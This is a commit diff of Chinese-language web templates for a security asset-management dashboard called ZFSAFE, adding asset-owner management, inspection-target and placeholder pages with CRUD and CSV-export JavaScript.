<ul class="pagination justify-content-end" id="historyUrlPagination">
<li class="page-item"><a class="page-link" href="#" id="historyUrlPrev">上一页</a></li>
<li class="page-item"><a class="page-link" href="#" id="historyUrlNext">下一页</a></li>
</ul>
</nav>
</div>
</div>
</div>
<div class="modal-footer">
<button class="btn btn-primary" id="exportUrlData">导出</button>
<button class="btn btn-secondary" data-bs-dismiss="modal">关闭</button>
</div>
</div>
</div>
</div>
<!-- url资产信息-------------------------- -->
<!-- 基本信息 Modal -->
<div class="modal fade" id="urlBasicInfoModal" tabindex="-1" aria-hidden="true">
<div class="modal-dialog modal-lg modal-dialog-centered">
<div class="modal-content">
<div class="modal-header">
<h3 class="modal-title fw-bold">基本信息</h3>
<button class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
</div>
<div class="modal-body">
<form id="urlInfoForm">
<div class="row gy-3">
<div class="col-md-12">
<label class="fw-bold">URL:</label>
<span id="info_url"></span>
</div>
<div class="col-md-12">
<label class="fw-bold">最新检测时间:</label>
<span id="url_scanTime"></span>
</div>
<div class="col-md-6">
<label class="fw-bold">注册人:</label>
<span id="url_register"></span>
</div>
<div class="col-md-6">
<label class="fw-bold">注册邮箱:</label>
<span id="url_email"></span>
</div>
<div class="col-md-6">
<label class="fw-bold">所属用户:</label>
<span id="url_owner"></span>
</div>
<div class="col-md-6">
<button type="button" id="urlbtnChooseOwner" class="btn btn-primary btn-sm ms-3">
修改
</button>
<button type="button" id="urlbtnDelOwner" class="btn btn-danger btn-sm ms-3">
删除
</button>
</div>
<div class="col-md-6">
<label class="fw-bold mb-1" for="contactName">联系人:</label>
<span id="urlcontactName"></span>
</div>
<div class="col-md-6">
<label class="fw-bold mb-1" for="contactPhone">联系电话:</label>
<span id="urlcontactPhone"></span>
</div>
</div>
</form>
</div>
<div class="modal-footer">
<button id="saveUrlInfo" class="btn btn-primary">保存</button>
<button class="btn btn-secondary" data-bs-dismiss="modal">关闭</button>
</div>
</div>
</div>
</div>
<!-- 指向IP Modal -->
<div class="modal fade" id="toIpModal" tabindex="-1" aria-labelledby="urlDataModalLabel" aria-hidden="true">
<div class="modal-dialog modal-dialog-centered" style="max-width:70vw;">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title fw-bold">指向IP</h5>
<button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="关闭"></button>
</div>
<div class="modal-body">
<!-- Nav tabs -->
<ul class="nav nav-tabs" id="toipTab" role="tablist">
<li class="nav-item" role="presentation">
<button class="nav-link active" id="toipLatestTab" data-bs-toggle="tab" data-bs-target="#toipLatestPane" type="button" role="tab">
最新数据
</button>
</li>
<li class="nav-item" role="presentation">
<button class="nav-link" id="toipHistoryTab" data-bs-toggle="tab" data-bs-target="#toipHistoryPane" type="button" role="tab">
历史数据
</button>
</li>
</ul>
<!-- Tab panes -->
<div class="tab-content pt-3" id="toipTabContent">
<!-- 最新数据 -->
<div class="tab-pane fade show active" id="toipLatestPane" role="tabpanel">
<div class="table-responsive mb-2" style="max-height:480px; overflow:auto;">
<table class="table table-bordered table-hover text-center" id="latesttoipTable">
<thead>
<tr>
<th style="width:50px">序号</th>
<th>IP地址</th>
<th>关联时间</th>
</tr>
</thead>
<tbody></tbody>
</table>
</div>
<nav>
<ul class="pagination justify-content-end" id="latesttoipPagination">
<li class="page-item"><a class="page-link" href="#" id="latesttoipPrev">上一页</a></li>
<li class="page-item"><a class="page-link" href="#" id="latesttoipNext">下一页</a></li>
</ul>
</nav>
</div>
<!-- 历史数据 -->
<div class="tab-pane fade" id="toipHistoryPane" role="tabpanel">
<div class="table-responsive mb-2" style="max-height:480px; overflow:auto;">
<table class="table table-bordered table-hover text-center" id="historytoipTable">
<thead>
<tr>
<th style="width:50px">序号</th>
<th>IP地址</th>
<th>取关时间</th>
</tr>
</thead>
<tbody></tbody>
</table>
</div>
<nav>
<ul class="pagination justify-content-end" id="historytoipPagination">
<li class="page-item"><a class="page-link" href="#" id="historytoipPrev">上一页</a></li>
<li class="page-item"><a class="page-link" href="#" id="historytoipNext">下一页</a></li>
</ul>
</nav>
</div>
</div>
</div>
<div class="modal-footer">
<button class="btn btn-primary" id="exporttoipData">导出</button>
<button class="btn btn-secondary" data-bs-dismiss="modal">关闭</button>
</div>
</div>
</div>
</div>
{% endblock %}
<!-- 页面脚本块 -->
{% block script %}
<script src="{{ url_for('main.static', filename='scripts/assets_manager.js') }}"></script>
<script src="{{ url_for('main.static', filename='scripts/jquery-3.2.1.slim.min.js') }}"></script>
{% endblock %}

10
web/main/templates/assets_manager_modal.html

@ -0,0 +1,10 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
</body>
</html>

331
web/main/templates/assets_user_manager.html

@ -0,0 +1,331 @@
{% extends 'base.html' %}
{% block title %}ZFSAFE{% endblock %}
<!-- 页面样式块 -->
{% block style %}
/* 查询条件区域:使用 row 分布,输入框占满所在列 */
.search-section .form-control,
.search-section .form-select {
width: 100%;
}
/* 查询条件区域,每个条件统一高度且左右间隔均等 */
.search-section .col {
padding: 0 5px;
}
/* 表格样式:统一垂直居中 */
.table thead th, .table tbody td {
vertical-align: middle;
text-align: center;
}
/* 分页区域右对齐 */
.pagination-section {
text-align: right;
padding-right: 15px;
}
/* 固定行高,比如 45px,每页 10 行 */
.fixed-row-height {
height: 45px;
overflow: hidden;
}
{% endblock %}
<!-- 页面内容块 -->
{% block content %}
<div class="container-xxl mt-2">
<!-- 查询区 -->
<div class="row mb-3">
<div class="col-2 mb-2"><button class="btn btn-primary me-3" onclick="openModal('add')">新增</button></div>
<div class="col-10"></div>
<div class="col-3 mb-2"><input type="text" class="form-control" id="searchUser" placeholder="资产用户"></div>
<div class="col-2">
<select class="form-select" id="ownerType">
<option value="">用户类型</option>
<option value="个人">个人</option>
<option value="私营企业">私营企业</option>
<option value="国有企业">国有企业</option>
<option value="事业单位">事业单位</option>
<option value="政府机构">政府机构</option>
<option value="团体协会">团体协会</option>
</select>
</div>
<div class="col-2"><input type="text" class="form-control" id="searchContact" placeholder="联系人"></div>
<div class="col-3"><input type="text" class="form-control" id="searchPhone" placeholder="联系电话"></div>
<div class="col-2 text-end">
<button class="btn btn-primary" onclick="fetchData()">查询</button>
<button class="btn btn-primary" onclick="exportOwnerData()">导出</button>
</div>
</div>
<!-- 表格 -->
<div class="table-responsive">
<table class="table table-bordered table-hover" id="ownerTable" style="width: 100%; table-layout: fixed;">
<thead>
<tr>
<th style="width:5%;">序号</th>
<th style="width:30%;">资产用户</th>
<th style="width:10%;">用户类型</th>
<th style="width:10%;">联系人</th>
<th style="width:15%;">联系电话</th>
<th style="width:10%;">关联资产</th>
<th style="width:20%;">操作</th>
</tr>
</thead>
<tbody>
<!-- JS 动态插入 10 行 -->
</tbody>
</table>
</div>
<!-- 分页 -->
<nav class="mt-2">
<ul class="pagination justify-content-end" id="userPagination">
<li class="page-item"><a class="page-link" href="#" id="userPrev">上一页</a></li>
<li class="page-item"><a class="page-link" href="#" id="userNext">下一页</a></li>
</ul>
</nav>
</div>
<!-- Modal -->
<div class="modal fade" id="ownerModal" tabindex="-1" aria-hidden="true">
<div class="modal-dialog">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title" id="modalTitle">新增/修改用户</h5>
<button type="button" class="btn-close" data-bs-dismiss="modal"></button>
</div>
<div class="modal-body">
<form id="ownerForm">
<input type="hidden" id="ownerId">
<div class="mb-3">
<label class="form-label me-2">资产用户:</label>
<input type="text" class="form-control" id="formUser">
</div>
<div class="mb-3">
<label class="form-label me-2">用户类型:</label>
<select class="form-select" id="formType">
<option value="">用户类型</option>
<option value="私营企业">私营企业</option>
<option value="国有企业">国有企业</option>
<option value="事业单位">事业单位</option>
<option value="政府机构">政府机构</option>
<option value="团体协会">团体协会</option>
<option value="个人">个人</option>
</select>
</div>
<div class="mb-3">
<label class="form-label me-2">证件号码:</label>
<input type="text" class="form-control" id="IDno">
</div>
<div class="mb-1 row gx-3">
<div class="col-6">
<label class="form-label me-2">联系人:</label>
<input type="text" class="form-control" id="formContact">
</div>
<div class="col-6">
<label class="form-label me-2">联系电话:</label>
<input type="text" class="form-control" id="formPhone">
</div>
</div>
</form>
</div>
<div class="modal-footer">
<button class="btn btn-primary" onclick="saveOwner()">保存</button>
<button class="btn btn-secondary" data-bs-dismiss="modal">关闭</button>
</div>
</div>
</div>
</div>
{% endblock %}
<!-- 页面脚本块 -->
{% block script %}
<script>
let currentMode = 'add';
let ownersData = [];
let currentPage = 1;
const pageSize = 10;
async function postJSON(url, payload) {
const res = await fetch(url, {
method: 'POST',
headers: { 'Content-Type':'application/json' },
body: JSON.stringify(payload)
});
if (!res.ok) {
const errorData = await res.json();
throw new Error(errorData.error || `HTTP错误 ${res.status}`);
}
return res.json();
}
function downloadCSV(text, filename) {
const blob = new Blob([text], { type: 'text/csv;charset=utf-8;' });
const link = document.createElement('a');
link.href = URL.createObjectURL(blob);
link.download = filename;
link.click();
URL.revokeObjectURL(link.href);
}
function fmtCell(val) {
// 如果是数字-数字,比如 "2-4"、"10-12" 等
if (/^\d+-\d+$/.test(val)) {
return '="' + val + '"';
}
// 如果里面有中文或逗号,就双引号包裹
if (/[,\u4e00-\u9fa5]/.test(val)) {
return `"${val.replace(/"/g, '""')}"`;
}
return val;
}
async function exportOwnerData(){
//导出数据
let rows = [
['序号', '资产用户', '用户类型', '联系人', '联系电话','证件号码','关联IP','关联域名'].map(fmtCell).join(',')
];
ownersData.forEach((row, i) => {
rows.push([
(i + 1).toString(),
row[2].toString(),
row[1] || '',
row[4] || '',
row[3] || '',
row[5] || '',
row[6].toString(),
row[7].toString(),
].map(fmtCell).join(','));
});
const csv = '\uFEFF' + rows.join('\r\n'); // 加 BOM
downloadCSV(csv, `assets_owner.csv`);
}
function openModal(mode, index = null) {
currentMode = mode;
document.getElementById('ownerForm').reset();
document.getElementById('ownerId').value = '';
if (mode === 'edit' && index !== null) {
const data = ownersData[index];
document.getElementById('modalTitle').innerText = '修改用户';
document.getElementById('ownerId').value = data[0] || '';
document.getElementById('formUser').value = data[2] || '';
document.getElementById('formType').value = data[1] || '';
document.getElementById('formContact').value = data[4] || '';
document.getElementById('formPhone').value = data[3] || '';
document.getElementById('IDno').value = data[5] || '';
} else {
document.getElementById('modalTitle').innerText = '新增用户';
}
new bootstrap.Modal(document.getElementById('ownerModal')).show();
}
async function saveOwner() {
const data = {
id: document.getElementById('ownerId').value,
user: document.getElementById('formUser').value,
type: document.getElementById('formType').value,
contact: document.getElementById('formContact').value,
phone: document.getElementById('formPhone').value,
IOno: document.getElementById('IDno').value,
};
try{
const jsondata = await postJSON('/api/assets/addUpdateOwners', {data,currentMode});
bsuccess = jsondata.bsuccess;
error = jsondata.error;
if(bsuccess){
ownersData = jsondata.owner_list || [];
currentPage = 1;
document.querySelector('#ownerModal .btn-close').click();
renderTable();
}else {
alert("操作失败"+error)
}
} catch (error) {
console.error("操作失败:",error)
alert("操作失败:"+error)
}
}
function renderTable() {
const tableBody = document.querySelector('#ownerTable tbody');
//const tableBody = document.getElementById('tableBody');
tableBody.innerHTML = '';
const start = (currentPage - 1) * pageSize;
const pageData = ownersData.slice(start, start + pageSize);
pageData.forEach((item, i) => { //IP,itype,uname,tellnum,tell_username,ID_num
const tr = document.createElement('tr');
tr.innerHTML = `
<td>${start + i + 1}</td>
<td>${item[2] || ''}</td>
<td>${item[1] || ''}</td>
<td>${item[4] || ''}</td>
<td>${item[3] || ''}</td>
<td>${item[8] || ''}</td>
<td>
<button class="btn btn-info btn-sm me-1" onclick="openModal('edit', ${start + i})">修改</button>
<!-- <button class="btn btn-info btn-sm me-1" onclick="showassets(${start + i})">查看资产</button> -->
<button class="btn btn-danger btn-sm" onclick="delowner(${start + i})">删除</button>
</td>
`;
tableBody.appendChild(tr);
});
for (let i = pageData.length; i < pageSize; i++) {
const tr = document.createElement('tr');
tr.innerHTML = '<td colspan="7">&nbsp;</td>';
tableBody.appendChild(tr);
}
}
async function fetchData() {
const ownerEl = document.getElementById("searchUser");
const ownerTypeEl = document.getElementById("ownerType");
const contactEl = document.getElementById("searchContact");
const tellNumEl = document.getElementById("searchPhone");
const owner = ownerEl.value;
const owner_type = ownerTypeEl.value;
const contact = contactEl.value;
const tellnum = tellNumEl.value;
try {
const data = await postJSON("/api/assets/getOwners",{owner,owner_type,contact,tellnum})
ownersData = data.owner_list || [];
currentPage = 1;
renderTable();
} catch (error) {
console.error("查询资产用户记录出错:", error);
alert("查询失败!");
}
}
async function showassets(index){
}
async function delowner(index){
const data = ownersData[index];
const id = data[0]
if (!confirm('确认删除?')) return;
try{
const redata = await postJSON('/api/assets/delOwners', {id});
bsuccess = redata.bsuccess;
error = redata.error;
if(bsuccess){
alert("删除成功!");
await fetchData(); //刷新数据
}
else{
alert("删除失败!",error)
}
} catch (error) {
console.error("删除失败!",error);
alert("删除失败!",error)
}
}
window.onload = fetchData;
</script>
{% endblock %}

4
web/main/templates/header.html

@ -12,10 +12,12 @@
<li class="nav-item"><a href="/index.html" class="nav-link active" aria-current="page">首页</a></li>
<li class="nav-item"><a href="/task_manager.html" class="nav-link">任务管理</a></li>
<li class="nav-item"><a href="/his_task.html" class="nav-link">历史任务</a></li>
<li class="nav-item"><a href="/polling_target.html" class="nav-link">巡检目标</a></li>
<li class="nav-item"><a href="/assets_manager.html" class="nav-link">资产图谱</a></li>
<li class="nav-item"><a href="/assets_user_manager.html" class="nav-link">资产用户</a></li>
<li class="nav-item"><a href="/safe_status.html" class="nav-link">安全态势</a></li>
<li class="nav-item"><a href="/vul_manager.html" class="nav-link">漏洞情报</a></li>
<li class="nav-item"><a href="/system_manager.html" class="nav-link">系统管理</a></li>
<li class="nav-item"><a href="/user_manager.html" class="nav-link">用户管理</a></li>
</ul>
<div class="dropdown text-end">

8
web/main/templates/his_task.html

@ -112,7 +112,7 @@
<!-- 页面内容块 -->
{% block content %}
<div class="container">
<div class="container-xxl">
<!-- 查询条件区域 -->
<div class="search-section mb-3">
<form class="row g-3 align-items-center">
@ -545,19 +545,19 @@
const tdAction = document.createElement("td");
//报告按钮
const btnReport = document.createElement("button");
btnReport.className = "btn btn-outline-info btn-sm ms-2";
btnReport.className = "btn btn-primary btn-sm ms-2";
btnReport.textContent = "报告";
btnReport.onclick = () => createReport(task[0]);
tdAction.appendChild(btnReport);
// 查看按钮(点击后弹出 modal)
const btnView = document.createElement("button");
btnView.className = "btn btn-outline-info btn-sm ms-2";
btnView.className = "btn btn-info btn-sm ms-2";
btnView.textContent = "查看";
btnView.onclick = () => openViewModal(task[0]);
tdAction.appendChild(btnView);
// 删除按钮
const btnDel = document.createElement("button");
btnDel.className = "btn btn-outline-danger btn-sm ms-2";
btnDel.className = "btn btn-danger btn-sm ms-2";
btnDel.textContent = "删除";
btnDel.onclick = () => confirmDeleteTask(task[0]);
tdAction.appendChild(btnDel);

2
web/main/templates/index.html

@ -154,7 +154,7 @@
const data = await response.json();
fail_list = data.fail_list;
if(fail_list.trim() !== ""){
alert("创建任务成功,失败的有:"+fail_list);
alert("创建任务失败的有:"+fail_list);
}
window.location.href = "/task_manager.html";
} catch (error) {

108
web/main/templates/polling_target.html

@ -0,0 +1,108 @@
{% extends 'base.html' %}
{% block title %}ZFSAFE{% endblock %}
<!-- 页面样式块 -->
{% block style %}
/* 查询条件区域:使用 row 分布,输入框占满所在列 */
.search-section .form-control,
.search-section .form-select {
width: 100%;
}
/* 查询条件区域,每个条件统一高度且左右间隔均等 */
.search-section .col {
padding: 0 5px;
}
/* 表格样式:统一垂直居中 */
.table thead th, .table tbody td {
vertical-align: middle;
text-align: center;
}
/* 分页区域右对齐 */
.pagination-section {
text-align: right;
padding-right: 15px;
}
/* 固定行高,比如 45px,每页 10 行 */
.fixed-row-height {
height: 45px;
overflow: hidden;
}
{% endblock %}
<!-- 页面内容块 -->
{% block content %}
<div class="container-xxl mt-2">
<!-- 查询区 -->
<div class="row mb-3">
<div class="col-2 mb-2"><button class="btn btn-primary me-3" onclick="openModal('add')">导入</button></div>
<div class="col-10"></div>
<div class="col-3 mb-2"><input type="text" class="form-control" id="polltarget" placeholder="检测目标"></div>
<div class="col-3"><input type="text" class="form-control" id="owner" placeholder="所属用户"></div>
<div class="col-2">
<select class="form-select" id="polling_period">
<option value="">巡检周期</option>
<option value="1">每日</option>
<option value="2">每周</option>
<option value="3">每月</option>
</select>
</div>
<div class="col-2">
<select class="form-select" id="risk_rank">
<option value="">风险等级</option>
<option value="0">0</option>
<option value="1">1</option>
<option value="2">2</option>
<option value="3">3</option>
<option value="4">4</option>
<option value="5">5</option>
</select>
</div>
<div class="col-2 text-end">
<button class="btn btn-primary" onclick="fetchData()">查询</button>
<button class="btn btn-primary" onclick="exportOwnerData()">导出</button>
</div>
</div>
<!-- 表格 -->
<div class="table-responsive">
<table class="table table-bordered table-hover" id="pollingTable" style="width: 100%; table-layout: fixed;">
<thead>
<tr>
<th style="width:5%;">序号</th>
<th style="width:20%;">检测目标</th>
<th style="width:20%;">所属用户</th>
<th style="width:10%;">检测周期</th>
<th style="width:15%;">最新检测时间</th>
<th style="width:10%;">风险等级</th>
<th style="width:20%;">操作</th>
</tr>
</thead>
<tbody>
<!-- JS 动态插入 10 行 -->
</tbody>
</table>
</div>
<!-- 分页 -->
<nav class="mt-2">
<ul class="pagination justify-content-end" id="pollingPagination">
<li class="page-item"><a class="page-link" href="#" id="pollingPrev">上一页</a></li>
<li class="page-item"><a class="page-link" href="#" id="pollingNext">下一页</a></li>
</ul>
</nav>
</div>
<!-- --------导入modal---------- -->
<!-- --------所属用户modal---------- -->
<!-- --------巡检策略modal---------- -->
{% endblock %}
<!-- 页面脚本块 -->
{% block script %}
{% endblock %}

16
web/main/templates/safe_status.html

@ -0,0 +1,16 @@
{% extends 'base.html' %}
{% block title %}ZFSAFE{% endblock %}
<!-- 页面样式块 -->
{% block style %}
{% endblock %}
<!-- 页面内容块 -->
{% block content %}
<h3 style="text-align: center;padding: 10px"> 功能规划中,在二期实现。。。</h3>
{% endblock %}
<!-- 页面脚本块 -->
{% block script %}
{% endblock %}

8
web/main/templates/task_manager_modal.html

@ -159,9 +159,9 @@
<table class="table table-bordered table-hover">
<thead>
<tr>
<th style="width:50px;">序号</th>
<th>角色</th>
<th>内容</th>
<th style="width:5%;">序号</th>
<th style="width:10%;">角色</th>
<th style="width:85%;">内容</th>
</tr>
</thead>
<tbody id="submittedTbody">
@ -190,7 +190,7 @@
</div>
<div class="mb-3">
<label for="pendingContent" class="form-label fw-bold" style="font-size:0.9rem">内容:</label>
<textarea class="form-control" id="pendingContent" rows="5" placeholder="请输入内容"></textarea>
<textarea class="form-control" id="pendingContent" rows="10" placeholder="请输入内容"></textarea>
</div>
<!-- 你可以在此处增加一个保存按钮,由用户提交待提交的内容修改 -->
<div class="text-end">

Loading…
Cancel
Save